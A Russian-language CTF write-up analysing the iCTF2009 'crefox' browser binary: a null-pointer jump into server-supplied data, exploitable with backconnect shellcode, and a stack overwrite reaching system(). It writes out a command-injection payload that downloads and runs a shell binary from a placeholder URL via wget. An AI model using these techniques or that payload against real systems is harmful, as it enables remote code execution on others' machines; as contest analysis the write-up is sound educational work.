Новости iCTF2009 :: crefox

blackzert
, 12 декабря 2009

Продолжаю разбор браузеров.

Итак, открыли папку - бинарик. ldd показал тучу библиотек в зависимостях, среди которых ssl, pgp, stl, и прочие... В общем внутри обещало быть очень интересное приложение. Однако, забегая вперед,  скажу что эти библиотеки не более чем пыль в глаза - они не использовались.

Закинули первую версию в IDA Pro и приступили. По структуре стало ясно, что использовался g++ ( ида не совсем дружит с этим компилятором, но выбирать не приходиться). Исследование сегментов показало отсутствие всяческих закладок, что обрадоволо. Перешел на исследование main. Вначале стояла функция инициализации браузера - в ней инициализировалась библиотека CURL (C библиотека для работы с url), возвращался дескриптор для работы функций этой библиотеки. Дальше для CURL выставлялись опции, среди которых - следование перенапрявлениям( хэдер Location ), переопределение функции записи ( функция, которая будет вызвана, когда curl отчистит от заголовков ответ от сервера. Ее назначение - переписать эти данные в место, определяемое программистом.) и прочие маловажные для разбора. Функция записи брала аргументом структуру, которую позже модифицировала. Под данные от сайта, вызывался calloc, куда и записывались данные. Однако, если на момент вызова, в структуре уже хранились какие-то данные ( а это возможно, если сервер перенаправил браузер, и вместе с заголовками вернул чтото еще), то вызывался malloc с числом байт, равным сумме старых байт и новых. А дальше конкатинировались старая с новой в этот только что malloc'чный буффер, старый удалялся, а новый вставал в структурке arsg->mem.

Вышеупомянутая структура:

struct args {
void* mem;
int mem_len;
void* mmap;
int mmap_len;
};

После инициализации, браузер уходил в бесконечный цикл работы с пользователем - чтение с потока ввода команды и выполнение её. Команды - "u URL" - получить и вывести на экран данные с урла методом get , "p URL DATA" отправить post на сервер, "l" - вывести все ссылки с предыдущей страницы, "q" - выйти. В конце каждого из запросов структура чистилась - очищались поля типа void* функциями free и munmap.

Уязвимость первой версии была в методе get.  После получения ответа от сервера, браузер сравнивал статус с 200, если не равно - нечего и делать дальше. Если имело место перенаправление ( а тогда браузер сам перейдет по адресу, так как стоит соответсвующая опция), то выводилось еще на консоль число переходов. Потом все содержимое args->mem копировалось в возврат mmap(NULL, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0), которое запоминалось в args->mmap.  Далее, если по адресу args->mmap не лежит строчка "USEASAFEPRINTFUNCTIONA", то содержимое args->mem выводилось на экран. Иначе, из выполняемого файла, функцией dlopen(0,1) и функцией dlvsym() получался адрес функции safe_print, на который позже было передано управление с аргументом args->mmap. Однако, в данном бинарике этой функции обьявлено не было, поэтому в качестве её адреса возвращался null или ((void*)0). То, есть управление передавалось на адрес 0x0, где лежала сначала строка "USEASAFEPRINTFUNCTIONA", а потом всё что пришло от пользователя.

Следущая манипуляция весьма обрадовала:

~$ echo -ne "USEASAFEPRINTFUNCTIONA" > 1
~$ ndisasm 1
00000000  55                push bp
00000001  53                push bx
00000002  45                inc bp
00000003  41                inc cx
00000004  53                push bx
00000005  41                inc cx
00000006  56                push si
00000007  45                inc bp
00000008  50                push ax
00000009  52                push dx
0000000A  49                dec cx
0000000B  4E                dec si
0000000C  54                push sp
0000000D  46                inc si
0000000E  55                push bp
0000000F  4E                dec si
00000010  43                inc bx
00000011  54                push sp
00000012  49                dec cx
00000013  4F                dec di
00000014  4E                dec si
00000015  41                inc cx

Из чего следовало, что значения регистров особо не изменялось. В том числе и esp ebp. Итак, если дальше положить наш шелл код, который к примеру делает backconnect - exec, то можно получить шелл. Эксплоит был взят с milw0rm.com ибо самому писать нелогично.

К сожалению на момент игры я плохо понял эту схему, и возвращал этот сплоит после редиректа.. Как оказывается от перемены мест слагаемых, сумма в турнирной таблице... не прибавилась. +)

В третьей версии браузер, в случае пост запроса, искал тег ictf и его атрибут code. значение этого атрибута переписывалось в локальный буффер, размер которого весьма невелик, а переписывалось 1124 байта. "Воизбежании" buffer overflow значения в стеке адресов возврата и ebp сохранялись до перезаписи и восстанавливались после. в результате чего мы лишь портили локальные переменные вышестоящих функций. Однако выше стояли весьма любопытные переменные. Во первых переменна pid - указатель на начальный адрес массива char элементов, после перезаписи приводился к int* и брался нулевой элемент. если он равен -1, то вызывалась функция system со строкой "uname" + 512 байт со строки, которую мы тоже можем переписать, но со смещения 42 байта. То есть эксплоит - 43 символа пробела, строка "; wget http://our_url/shell ; chmod +x shell ; ./shell ", до 512 символов в сумме пробелов и дальше байты со значением 255 до упора. Однако метод post почему то не использовался, в результате чего я так и не дождался фейрверков на моей улице....